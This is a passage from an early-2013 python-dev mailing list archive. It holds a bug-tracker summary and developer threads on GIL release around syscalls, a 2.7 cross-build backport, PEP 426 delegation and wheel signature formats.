http://bugs.python.org/issue17070

#17066: Fix test discovery for test_robotparser.py
http://bugs.python.org/issue17066

#17065: Fix sporadic buildbot failures for test_winreg
http://bugs.python.org/issue17065

#17064: Fix sporadic buildbot failures for test_mailbox
http://bugs.python.org/issue17064

#17057: Data model documentation grammar
http://bugs.python.org/issue17057



Top 10 most discussed issues (10)
=================================

#17037: Use a test.support helper to wrap the PEP 399 boilerplate
http://bugs.python.org/issue17037  30 msgs

#16997: subtests
http://bugs.python.org/issue16997  14 msgs

#14468: Update cloning guidelines in devguide
http://bugs.python.org/issue14468  12 msgs

#3871: cross and native build of python for mingw* hosts
http://bugs.python.org/issue3871   9 msgs

#17036: Implementation of the PEP 433: Easier suppression of file desc
http://bugs.python.org/issue17036   8 msgs

#16743: mmap on Windows can mishandle files larger than sys.maxsize
http://bugs.python.org/issue16743   6 msgs

#17063: assert_called_with could be more powerful if it allowed placeh
http://bugs.python.org/issue17063   6 msgs

#17080: A better error message for float()
http://bugs.python.org/issue17080   6 msgs

#16968: Fix test discovery for test_concurrent_futures.py
http://bugs.python.org/issue16968   5 msgs

#17015: mock could be smarter and inspect the spec's signature
http://bugs.python.org/issue17015   5 msgs



Issues closed (54)
==================

#1783: nonexistent data items declared as exports in sysmodule.h
http://bugs.python.org/issue1783  closed by serhiy.storchaka

#3718: environment variable MACHDEP and python build system
http://bugs.python.org/issue3718  closed by doko

#4844: ZipFile doesn't range check in _EndRecData()
http://bugs.python.org/issue4844  closed by serhiy.storchaka

#7576: Avoid warnings in PyModuleDef_HEAD_INIT
http://bugs.python.org/issue7576  closed by serhiy.storchaka

#9290: IDLE and Command line present different behavior for sys.stdin
http://bugs.python.org/issue9290  closed by serhiy.storchaka

#10156: Initialization of globals in unicodeobject.c
http://bugs.python.org/issue10156  closed by skrah

#10588: imp.find_module raises unexpected SyntaxError
http://bugs.python.org/issue10588  closed by brett.cannon

#11049: add tests for test.support
http://bugs.python.org/issue11049  closed by brett.cannon

#11676: Improve imp.load_module and submodules doc
http://bugs.python.org/issue11676  closed by brett.cannon

#12004: PyZipFile.writepy gives internal error on syntax errors
http://bugs.python.org/issue12004  closed by serhiy.storchaka

#12397: re match object methods have no docstrings
http://bugs.python.org/issue12397  closed by serhiy.storchaka

#12583: More detailed ImportError messages
http://bugs.python.org/issue12583  closed by brett.cannon

#12648: Wrong import module search order on Windows
http://bugs.python.org/issue12648  closed by brett.cannon

#12693: test.support.transient_internet prints to stderr when verbose 
http://bugs.python.org/issue12693  closed by brett.cannon

#12701: Apple's clang 2.1 (xcode 4.1, OSX 10.7) optimizer miscompiles 
http://bugs.python.org/issue12701  closed by brett.cannon

#13048: Handling of paths in first argument of imp.find_module()
http://bugs.python.org/issue13048  closed by brett.cannon

#13539: Return value missing in calendar.TimeEncoding.__enter__
http://bugs.python.org/issue13539  closed by serhiy.storchaka

#13590: extension module builds fail with python.org OS X installers o
http://bugs.python.org/issue13590  closed by ned.deily

#13886: readline-related test_builtin failure
http://bugs.python.org/issue13886  closed by nadeem.vawda

#13997: Clearly explain the bare minimum Python 3 users should know ab
http://bugs.python.org/issue13997  closed by ezio.melotti

#15505: unittest.installHandler incorrectly assumes SIGINT handler is 
http://bugs.python.org/issue15505  closed by python-dev

#16096: Get rid of dangerous integer overflow tricks
http://bugs.python.org/issue16096  closed by serhiy.storchaka

#16128: hashable documentation error
http://bugs.python.org/issue16128  closed by ezio.melotti

#16235: Add python-config.sh for use during cross compilation.
http://bugs.python.org/issue16235  closed by doko

#16769: Remove some old Visual Studio versions from PC/ directory
http://bugs.python.org/issue16769  closed by brian.curtin

#16772: int() accepts float number base
http://bugs.python.org/issue16772  closed by mark.dickinson

#16899: Add support for C99 complex type (_Complex) as ctypes.c_comple
http://bugs.python.org/issue16899  closed by mark.dickinson

#16971: Refleaks in charmap decoder
http://bugs.python.org/issue16971  closed by serhiy.storchaka

#16972: Useless function call in site.py
http://bugs.python.org/issue16972  closed by brett.cannon

#16975: Broken error handling in codecs.escape_decode()
http://bugs.python.org/issue16975  closed by serhiy.storchaka

#16979: Broken error handling in codecs.unicode_escape_decode()
http://bugs.python.org/issue16979  closed by serhiy.storchaka

#16980: SystemError in codecs.unicode_escape_decode()
http://bugs.python.org/issue16980  closed by serhiy.storchaka

#17020: random.random() generating values >= 1.0
http://bugs.python.org/issue17020  closed by r.david.murray

#17027: support for drag and drop of files to tkinter application
http://bugs.python.org/issue17027  closed by ned.deily

#17028: launcher does not read shebang line when arguments are given
http://bugs.python.org/issue17028  closed by python-dev

#17031: fix running regen in cross builds
http://bugs.python.org/issue17031  closed by doko

#17038: multiprocessing only use one core when C module are imported
http://bugs.python.org/issue17038  closed by neologix

#17039: socket.SocketIO hides socket timeouts as blocking errors
http://bugs.python.org/issue17039  closed by Ronny.Pfannschmidt

#17040: Document context manager support for shelf objects
http://bugs.python.org/issue17040  closed by ezio.melotti

#17041: Fix tests for build --without-doc-strings
http://bugs.python.org/issue17041  closed by serhiy.storchaka

#17042: Example in C-API memory management doc has confusing order
http://bugs.python.org/issue17042  closed by ezio.melotti

#17049: calendar throws UnicodeEncodeError when locale is specified
http://bugs.python.org/issue17049  closed by serhiy.storchaka

#17054: cStringIO.StringIO aborted when more then INT_MAX bytes writte
http://bugs.python.org/issue17054  closed by serhiy.storchaka

#17059: tarfile.is_tarfile without read permissions raises AttributeEr
http://bugs.python.org/issue17059  closed by serhiy.storchaka

#17071: Signature.bind() fails with a keyword argument named "self"
http://bugs.python.org/issue17071  closed by pitrou

#17072: Decimal, quantize, round and negative value
http://bugs.python.org/issue17072  closed by mark.dickinson

#17074: (docs) Consistent formatting of constants
http://bugs.python.org/issue17074  closed by chris.jerdonek

#17075: logging documentation for library cleanup
http://bugs.python.org/issue17075  closed by chris.jerdonek

#17081: documentation
http://bugs.python.org/issue17081  closed by chris.jerdonek

#17090: io.TextIOWrapper does not handle UTF-8 encoded streams correct
http://bugs.python.org/issue17090  closed by r.david.murray

#1777134: minidom pretty xml output improvement
http://bugs.python.org/issue1777134  closed by ezio.melotti

#17051: Memory leak in os.path.isdir under Windows
http://bugs.python.org/issue17051  closed by serhiy.storchaka

#17058: Python crashes with error 0xc0000417
http://bugs.python.org/issue17058  closed by brian.curtin

#1681974: mkdtemp fails on Windows if username has non-ASCII character
http://bugs.python.org/issue1681974  closed by ezio.melotti

From greg.ewing at canterbury.ac.nz  Fri Feb  1 23:04:43 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 02 Feb 2013 11:04:43 +1300
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
	<CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
	<CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
Message-ID: <510C3BFB.7040503@canterbury.ac.nz>

Charles-Fran?ois Natali wrote:
> Anyway, only dup2() should probably release the GIL.

Depending on how your kernel is implemented, both pipe()
and socketpair() could create file system entries, and
therefore could block, although probably only for a
very short time.

-- 
Greg

From greg.ewing at canterbury.ac.nz  Fri Feb  1 23:16:26 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 02 Feb 2013 11:16:26 +1300
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <CAGmFidb1RPhv4=awDWYc-fvdqx=xXjvzb4S-oL-in=+toeBUNw@mail.gmail.com>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
	<CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
	<CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
	<CAGmFidb1RPhv4=awDWYc-fvdqx=xXjvzb4S-oL-in=+toeBUNw@mail.gmail.com>
Message-ID: <510C3EBA.8020206@canterbury.ac.nz>

Amaury Forgeot d'Arc wrote:
>     One reasonable heuristic is to check the man page: if the syscall can
>     return EINTR, then the GIL should be released.

Hmmm, curious. According to the MacOSX man pages, both
dup() and dup2() can return EINTR, but pipe() and
socketpair() can't.

I'm particularly surprised about dup(), as that's the
one I would have thought couldn't possibly block -- it
only needs to manipulate in-memory data structures.

For Linux, the only one returning EINTR is dup2().

FreeBSD has none of them returning EINTR.

So it looks like there's a fair bit of variation between
unices here.

-- 
Greg

From greg at krypto.org  Sat Feb  2 00:25:27 2013
From: greg at krypto.org (Gregory P. Smith)
Date: Fri, 1 Feb 2013 15:25:27 -0800
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <20130201162242.77522b26@pitrou.net>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
	<CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
	<CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
	<CAGmFidb1RPhv4=awDWYc-fvdqx=xXjvzb4S-oL-in=+toeBUNw@mail.gmail.com>
	<20130201162242.77522b26@pitrou.net>
Message-ID: <CAGE7PNKB83+qmHrJY5dKzg1027LOvBiY4tKMAsG6Aoge7Phi2w@mail.gmail.com>

On Fri, Feb 1, 2013 at 7:22 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> Le Fri, 1 Feb 2013 15:18:39 +0100,
> "Amaury Forgeot d'Arc" <amauryfa at gmail.com> a ?crit :
> > 2013/2/1 Charles-Fran?ois Natali <cf.natali at gmail.com>
> >
> > > >> dup2(oldfd, newfd) closes oldfd.
> > > >
> > > > No, it doesn't close oldfd.
> > > >
> > > > It may close newfd if it was already open.
> > >
> > > (I guess that's what he meant).
> > >
> > > Anyway, only dup2() should probably release the GIL.
> > >
> > > One reasonable heuristic is to check the man page: if the syscall
> > > can return EINTR, then the GIL should be released.
> >
> >
> > Should the call be retried in the EINTR case?
> > (After a PyErr_CheckSignals)
>
> I don't think we want to retry low-level system calls (but I'm not sure
> we're currently consistent in that regard).
>

I think this is what you meant but to be clear: Anywhere we're using them
within a library for a good purpose, we do need to retry.  If we're merely
exposing them via the os module such as os.dup, its up to the caller to
deal with the retry.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130201/ed9de341/attachment.html>

From solipsis at pitrou.net  Sat Feb  2 00:47:25 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 2 Feb 2013 00:47:25 +0100
Subject: [Python-Dev] Release or not release the GIL
In-Reply-To: <CAGE7PNKB83+qmHrJY5dKzg1027LOvBiY4tKMAsG6Aoge7Phi2w@mail.gmail.com>
References: <CAMpsgwYfNGGGpp_wR9zkJi0_4VqzGaqXwqTUJyh3S0xABFr8cQ@mail.gmail.com>
	<CAP7+vJJJxzLQZnWoX8rjqw79cnq5FcUe7_Qb=wLqYXwHwE4eNQ@mail.gmail.com>
	<kegeo2$s7e$1@ger.gmane.org>
	<CAMpsgwbKA2kiMTaSa3Nqh8hQmTcr6OWJ1M-SYBeO65vXfOLKJw@mail.gmail.com>
	<CAH_1eM1cefEwZVV4jSh2PS+GScnw_dK1eCfY=UB8p2vGWsUE5w@mail.gmail.com>
	<CAGmFidb1RPhv4=awDWYc-fvdqx=xXjvzb4S-oL-in=+toeBUNw@mail.gmail.com>
	<20130201162242.77522b26@pitrou.net>
	<CAGE7PNKB83+qmHrJY5dKzg1027LOvBiY4tKMAsG6Aoge7Phi2w@mail.gmail.com>
Message-ID: <20130202004725.6fd1c32c@pitrou.net>

On Fri, 1 Feb 2013 15:25:27 -0800
"Gregory P. Smith" <greg at krypto.org> wrote:
> On Fri, Feb 1, 2013 at 7:22 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> 
> > Le Fri, 1 Feb 2013 15:18:39 +0100,
> > "Amaury Forgeot d'Arc" <amauryfa at gmail.com> a ?crit :
> > > 2013/2/1 Charles-Fran?ois Natali <cf.natali at gmail.com>
> > >
> > > > >> dup2(oldfd, newfd) closes oldfd.
> > > > >
> > > > > No, it doesn't close oldfd.
> > > > >
> > > > > It may close newfd if it was already open.
> > > >
> > > > (I guess that's what he meant).
> > > >
> > > > Anyway, only dup2() should probably release the GIL.
> > > >
> > > > One reasonable heuristic is to check the man page: if the syscall
> > > > can return EINTR, then the GIL should be released.
> > >
> > >
> > > Should the call be retried in the EINTR case?
> > > (After a PyErr_CheckSignals)
> >
> > I don't think we want to retry low-level system calls (but I'm not sure
> > we're currently consistent in that regard).
> >
> 
> I think this is what you meant but to be clear: Anywhere we're using them
> within a library for a good purpose, we do need to retry.  If we're merely
> exposing them via the os module such as os.dup, its up to the caller to
> deal with the retry.

Indeed, that's what I meant. Sorry for not being very clear.

Regards

Antoine.

From a.cavallo at cavallinux.eu  Sat Feb  2 16:55:49 2013
From: a.cavallo at cavallinux.eu (Antonio Cavallo)
Date: Sat, 02 Feb 2013 15:55:49 +0000
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <20130201081425.39120441@pitrou.net>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
Message-ID: <510D3705.7020304@cavallinux.eu>

I personally agree that huge changesets aren't good. But I can also see 
the problem of cross compiling should be sooner or later addressed.

I'm fairly interested in cross building python on android too.

A point to support cross compiling (instead native build arm-on-arm) 
could be android doesn't provide (to my knowledge) a native toolchain: 
that's a quite large target.

And assuming arm equals unix so there's always an installed or 
installable compiler on it is not always the case.


If I can suggest a simple solution that'd be a simple makefile to 
compile python (I have one on my own): no "configure" magic involved 
more akin to the windows build style (yes, I've just said the W* word).

I hope this helps,
antonio



>>>>    - Issue #17086: Backport the patches from the 3.3 branch to cross-build
>>>>    the package.
>>> You aren't supposed to add new features to bugfix branches. Did you
>>> have a specific reason to do this?
>> One of the reasons for the long maintenance period on 2.7 is to keep
>> it building as the underlying platforms change. With the rise of ARM
>> systems, being able to reliably cross-build Python 2.7 for ARM from an
>> x86_64 system is fairly important.
>
> I would like to see a better argument for this. The rise of ARM systems
> is the rise of ARM systems powerful enough to build Python without
> cross-compiling (which is why we *now* have ARM buildbots).
> The very small ARM systems which need cross-compiling have existed for
> decades.
>
>> That said, as a procedural point for build related new features in
>> 2.7, I agree they should be proposed, with an explicit rationale, on
>> python-dev before proceeding with the commit.
>
> I think this huge changeset should be reverted. It's a complete failure
> in terms of procedure and following the rules. "Just because it can be
> useful" is not a good enough reason to violate our release model
> without even asking.
>
> Regards
>
> Antoine.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/a.cavallo%40cavallinux.eu

From ncoghlan at gmail.com  Sun Feb  3 07:04:32 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 3 Feb 2013 16:04:32 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
Message-ID: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>

In doing the detailed review of PEP 426 as BDFL-Delegate, I keep
noticing confusing problems with the current spec that mean I want to
become a *co-author* on the spec, rather than explaining to the
current authors the aspects I object to, until they produce a version
that I'm happy with (this is frustrating for the authors as well,
since several of the problems have been inherited from the previous
version of the spec rather than being new in the current version).

Now, Guido's authored and accepted his own PEPs in the past, but to
date we've avoided letting anyone else do that. Since I *definitely*
want to co-author the new metadata PEP (mostly to address issues with
the version specifier section and to include the *rationale* for
changes, rather than merely listing them as previous versions of the
metadata PEPs have done), that means one of the following needs to
happen:

- someone else volunteers to be BDFL-Delegate for PEP 426 (MvL, perhaps?)
- I get clear approval (perhaps from Guido?) to be both co-author
*and* BDFL-Delegate for PEP 426

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From guido at python.org  Sun Feb  3 07:37:54 2013
From: guido at python.org (Guido van Rossum)
Date: Sat, 2 Feb 2013 22:37:54 -0800
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
Message-ID: <CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>

On Sat, Feb 2, 2013 at 10:04 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> In doing the detailed review of PEP 426 as BDFL-Delegate, I keep
> noticing confusing problems with the current spec that mean I want to
> become a *co-author* on the spec, rather than explaining to the
> current authors the aspects I object to, until they produce a version
> that I'm happy with (this is frustrating for the authors as well,
> since several of the problems have been inherited from the previous
> version of the spec rather than being new in the current version).
>
> Now, Guido's authored and accepted his own PEPs in the past, but to
> date we've avoided letting anyone else do that. Since I *definitely*
> want to co-author the new metadata PEP (mostly to address issues with
> the version specifier section and to include the *rationale* for
> changes, rather than merely listing them as previous versions of the
> metadata PEPs have done), that means one of the following needs to
> happen:
>
> - someone else volunteers to be BDFL-Delegate for PEP 426 (MvL, perhaps?)
> - I get clear approval (perhaps from Guido?) to be both co-author
> *and* BDFL-Delegate for PEP 426

I don't know or care much about PyPI metadata, so do what you feel is
right. If you are uncomfortable being PEP-uncle *and* -author, find
another author or another uncle. But since it doesn't affect the
language or library, it's fine with me if you are both. :-)

-- 
--Guido van Rossum (python.org/~guido)

From ncoghlan at gmail.com  Sun Feb  3 07:44:33 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 3 Feb 2013 16:44:33 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
Message-ID: <CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>

On Sun, Feb 3, 2013 at 4:37 PM, Guido van Rossum <guido at python.org> wrote:
> I don't know or care much about PyPI metadata, so do what you feel is
> right. If you are uncomfortable being PEP-uncle *and* -author, find
> another author or another uncle. But since it doesn't affect the
> language or library, it's fine with me if you are both. :-)

To clarify what will happen if I handle both jobs: I'll bug a few
specific people like Vinay Sajip (distlib), and MvL or Richard Jones
(PyPI) to at least glance over it, as well as giving distutils-sig,
catalog-sig and python-dev one last chance to comment on my revised
draft.

Then, wearing my BDFL-Delegate hat, I'd decide what feedback I
considered worth addressing and what could be safely ignored (or
postponed to the next time the metadata gets updated).

I don't expect anything I want to do to be particularly controversial,
but I think it's worth trying to get it right (even if it delays wheel
support in pip for a few more weeks).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Sun Feb  3 12:27:54 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 3 Feb 2013 12:27:54 +0100
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
Message-ID: <20130203122754.7745a1be@pitrou.net>

On Sun, 3 Feb 2013 16:44:33 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Sun, Feb 3, 2013 at 4:37 PM, Guido van Rossum <guido at python.org> wrote:
> > I don't know or care much about PyPI metadata, so do what you feel is
> > right. If you are uncomfortable being PEP-uncle *and* -author, find
> > another author or another uncle. But since it doesn't affect the
> > language or library, it's fine with me if you are both. :-)
> 
> To clarify what will happen if I handle both jobs: I'll bug a few
> specific people like Vinay Sajip (distlib), and MvL or Richard Jones
> (PyPI) to at least glance over it, as well as giving distutils-sig,
> catalog-sig and python-dev one last chance to comment on my revised
> draft.
> 
> Then, wearing my BDFL-Delegate hat, I'd decide what feedback I
> considered worth addressing and what could be safely ignored (or
> postponed to the next time the metadata gets updated).
> 
> I don't expect anything I want to do to be particularly controversial,
> but I think it's worth trying to get it right (even if it delays wheel
> support in pip for a few more weeks).

Will wheel be implemented in distutils?

Regards

Antoine.



From p.f.moore at gmail.com  Sun Feb  3 13:34:36 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Sun, 3 Feb 2013 12:34:36 +0000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <20130203122754.7745a1be@pitrou.net>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
Message-ID: <CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>

On 3 February 2013 11:27, Antoine Pitrou <solipsis at pitrou.net> wrote:
>> I don't expect anything I want to do to be particularly controversial,
>> but I think it's worth trying to get it right (even if it delays wheel
>> support in pip for a few more weeks).
>
> Will wheel be implemented in distutils?

There are no plans to do so (and I don't think it's necessary,
particularly given the general "distutils is frozen" principle). To
clarify:

- The wheel project provides a bdist_wheel command to build wheels,
but this depends on setuptools/distribute. I don't know how hard it
would be to write a version that didn't depend on them.
- The wheel project provides standalone commands to install wheels,
and to convert eggs and wininst installers to wheels.

The pip integration is basically to allow pip to find wheels on PyPI
or any local indexes you have, and to install them via the "pip
install" command. It also incidentally includes pip support for the
new dist-info metadata format (I can't recall which PEP that is,
sorry) simply because that's the format that wheel uses rather than
the legacy egg-info format.

So it's perfectly possible to use wheels right now, without the pip
integration. But the pip developers don't want to integrate the wheel
format just because it exists - they want the assurance that it's an
accepted format supported by PEPs, hence the interest in getting the 3
wheel PEPs (of which the metadata PEP is the first) accepted.

Paul

From storchaka at gmail.com  Sun Feb  3 13:39:20 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Sun, 03 Feb 2013 14:39:20 +0200
Subject: [Python-Dev] 2.7.4
In-Reply-To: <CAPZV6o8MsW1DTFf7r3Qvmw-to_AA4wob8_4gc_va7WjDVGevqQ@mail.gmail.com>
References: <CAPZV6o8MsW1DTFf7r3Qvmw-to_AA4wob8_4gc_va7WjDVGevqQ@mail.gmail.com>
Message-ID: <kelm6l$dd5$1@ger.gmane.org>

There are crashers for which patches were proposed but do not reviewed yet:

Issue #6083: Reference counting bug in PyArg_ParseTuple and 
PyArg_ParseTupleAndKeywords.

Issue #7358: cStringIO not 64-bit safe.

Issue #16137: Using time.asctime() with an array with negative tm_hour 
causes Python Crash.

Issue #16686: audioop overflow issues.

#8865 is reviewed but not committed.


From solipsis at pitrou.net  Sun Feb  3 13:48:53 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 3 Feb 2013 13:48:53 +0100
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
Message-ID: <20130203134853.098aadaa@pitrou.net>

On Sun, 3 Feb 2013 12:34:36 +0000
Paul Moore <p.f.moore at gmail.com> wrote:
> 
> So it's perfectly possible to use wheels right now, without the pip
> integration. But the pip developers don't want to integrate the wheel
> format just because it exists - they want the assurance that it's an
> accepted format supported by PEPs, hence the interest in getting the 3
> wheel PEPs (of which the metadata PEP is the first) accepted.

But it's an "accepted format" by whom? If we accept the PEP but refuse
to integrate support in the stdlib, it doesn't make much sense.

I vote for removing the "distutils is frozen" principle. It was already
destructive enough when packaging was still alive - bug fixes were
actively turned down for the dubious reason that fixing bugs would
break compatibility. Its rationale has become completely obsolete now
that packaging has failed.

Regards

Antoine.

From ncoghlan at gmail.com  Sun Feb  3 14:04:01 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 3 Feb 2013 23:04:01 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
Message-ID: <CADiSq7erst6wmEkMXJB3wWc=HnHBOY2H_MoMTY_zqmjPqU8jFw@mail.gmail.com>

On Sun, Feb 3, 2013 at 10:34 PM, Paul Moore <p.f.moore at gmail.com> wrote:
> So it's perfectly possible to use wheels right now, without the pip
> integration. But the pip developers don't want to integrate the wheel
> format just because it exists - they want the assurance that it's an
> accepted format supported by PEPs, hence the interest in getting the 3
> wheel PEPs (of which the metadata PEP is the first) accepted.

And they're right to be concerned - I've just made it clear to Daniel
that before PEP 427 will be accepted, it must either switch to using
S/MIME for signatures and drop support for Java Web Signatures
completely, or else it must contain a compelling rationale for why we
should even be considering a signature scheme that isn't yet an IETF
standard. I take the disclaimer the IETF put on their drafts
seriously: "It is inappropriate to use Internet-Drafts as reference
material or to cite them other than as "work in progress." MvL raised
this concern last time the wheel format was discussed, and, to date,
nothing has happened to address it. JWS *does* look like a neat piece
of technology, but it's just too young to be basing our binary
distribution infrastructure on it (especially as new crypto is, by
default, bad crypto - that's why NIST/NSA hold their multi-year
competitions when they need to come up with new crypto related
algorithms).

The other two PEPs (the new metadata and the version compatibility
tags) are in a much better place. Most of the issues with PEP 426 have
been inherited from the previous version of the metadata, rather than
being related to the changes Daniel needed for the wheel format, and
I've just completed a new draft that should address most of those
problems. It's been a while since I looked closely at the
compatibility tag PEP, but I don't recall their being any significant
problems with it last time it was discussed.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sun Feb  3 14:08:04 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 3 Feb 2013 23:08:04 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <20130203134853.098aadaa@pitrou.net>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
